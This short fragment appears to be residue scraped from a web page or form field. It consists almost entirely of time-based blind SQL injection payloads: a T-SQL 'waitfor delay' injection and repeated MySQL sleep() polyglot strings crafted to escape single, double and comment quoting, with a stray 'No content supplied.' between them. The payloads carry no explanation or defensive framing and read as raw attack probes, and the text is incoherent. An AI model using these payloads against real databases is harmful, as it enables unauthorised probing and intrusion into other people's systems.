-1); waitfor delay ‘0:0:15’ — No content supplied. ← (select(0)from(select(sleep(0)))v)/*’+(select(0)from(select(sleep(0)))v)+'”+(select(0)from(select(sleep(0)))v)+”*/ (select(0)from(select(sleep(10)))v)/*’+(select(0)from(select(sleep(10)))v)+'”+(select(0)from(select(sleep(10)))v)+”*/ →